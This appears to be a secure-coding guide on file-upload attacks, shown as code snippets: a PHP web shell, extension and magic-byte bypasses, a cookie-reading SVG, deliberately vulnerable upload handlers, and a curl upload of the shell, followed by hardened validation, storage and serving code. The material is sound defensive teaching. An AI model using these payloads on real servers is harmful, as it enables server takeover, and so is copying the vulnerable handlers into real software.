Malicious File Upload

<?php
// Simple PHP web shell - shell.php
if(isset($_GET['cmd'])) {
    echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';
}
?>

// Attacker uploads this as 'profile.php'
// Then visits: /uploads/profile.php?cmd=whoami
// Gets full command execution on server

# If server only blocks .php extension:
shell.php.jpg       # Double extension
shell.php%00.jpg    # Null byte injection (older systems)
shell.pHp           # Case variation
shell.php5          # Alternative PHP extensions
shell.phtml         # PHP in HTML
shell.php.           # Trailing dot (Windows)
shell.php::$DATA    # NTFS alternate data stream

# Content-Type manipulation
# Set Content-Type: image/jpeg but upload PHP code

// File starts with GIF magic bytes but contains PHP
GIF89a
<?php system($_GET['cmd']); ?>

// Server checks file signature, sees 'GIF89a'
// Allows upload thinking it's an image
// But file is actually executable PHP

<!-- malicious.svg - executes JavaScript when viewed -->
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" 
     onload="alert(document.cookie)">
  <rect width="100" height="100"/>
</svg>

<!-- If served from same origin, steals cookies -->

// VULNERABLE: No validation at all
app.post('/upload', upload.single('file'), (req, res) => {
  // File saved directly to public uploads folder
  // with original filename!
  const dest = path.join('public/uploads', req.file.originalname);
  fs.renameSync(req.file.path, dest);
  res.json({ url: `/uploads/${req.file.originalname}` });
});

// Attacker uploads shell.php → /uploads/shell.php
// Full server compromise

<!-- VULNERABLE: Only client-side validation -->
<input type="file" accept=".jpg,.png,.gif" />

<script>
function validateFile(input) {
  const file = input.files[0];
  const validTypes = ['image/jpeg', 'image/png', 'image/gif'];
  if (!validTypes.includes(file.type)) {
    alert('Only images allowed!');
    return false;
  }
  return true;
}
</script>

<!-- Attacker bypasses using curl/Burp Suite:
curl -X POST -F "file=@shell.php" https://site.com/upload -->

import fileType from 'file-type';
import path from 'path';

const ALLOWED_TYPES = {
  'image/jpeg': ['.jpg', '.jpeg'],
  'image/png': ['.png'],
  'image/gif': ['.gif'],
  'application/pdf': ['.pdf']
};

async function validateUpload(file) {
  // 1. Check file size
  const MAX_SIZE = 5 * 1024 * 1024; // 5MB
  if (file.size > MAX_SIZE) {
    throw new Error('File too large');
  }
  
  // 2. Detect actual file type from content (magic bytes)
  const detected = await fileType.fromBuffer(file.buffer);
  if (!detected || !ALLOWED_TYPES[detected.mime]) {
    throw new Error('Invalid file type');
  }
  
  // 3. Verify extension matches detected type
  const ext = path.extname(file.originalname).toLowerCase();
  if (!ALLOWED_TYPES[detected.mime].includes(ext)) {
    throw new Error('Extension does not match file type');
  }
  
  return true;
}

import crypto from 'crypto';
import path from 'path';

async function saveUpload(file, userId) {
  // Generate random filename - never use original
  const randomName = crypto.randomBytes(16).toString('hex');
  const ext = path.extname(file.originalname).toLowerCase();
  const filename = `${randomName}${ext}`;
  
  // Store outside web root or use cloud storage
  const storagePath = path.join(
    process.env.UPLOAD_DIR, // Not in public folder!
    userId.toString(),
    filename
  );
  
  await fs.promises.writeFile(storagePath, file.buffer);
  
  // Return reference ID, not file path
  return await db.files.create({
    userId,
    filename,
    originalName: file.originalname,
    mimeType: file.mimetype,
    size: file.size
  });
}

// Serve files through authenticated endpoint
app.get('/files/:id', authenticate, async (req, res) => {
  const file = await db.files.findById(req.params.id);
  
  if (!file || file.userId !== req.session.userId) {
    return res.status(404).send('Not found');
  }
  
  const filePath = path.join(process.env.UPLOAD_DIR, file.filename);
  
  // Set secure headers
  res.set({
    'Content-Type': file.mimeType,
    'Content-Disposition': `attachment; filename="${file.originalName}"`,
    'X-Content-Type-Options': 'nosniff', // Prevent MIME sniffing
    'Content-Security-Policy': "default-src 'none'"
  });
  
  res.sendFile(filePath);
});

import { S3Client, PutObjectCommand } from '@aws-sdk/client-s3';

const s3 = new S3Client({ region: 'us-east-1' });

async function uploadToS3(file, userId) {
  const key = `uploads/${userId}/${crypto.randomUUID()}`;
  
  await s3.send(new PutObjectCommand({
    Bucket: process.env.S3_BUCKET,
    Key: key,
    Body: file.buffer,
    ContentType: file.mimetype,
    // Set Content-Disposition to force download
    ContentDisposition: 'attachment'
  }));
  
  // Return signed URL for access (expires in 1 hour)
  return getSignedUrl(s3, new GetObjectCommand({
    Bucket: process.env.S3_BUCKET,
    Key: key
  }), { expiresIn: 3600 });
}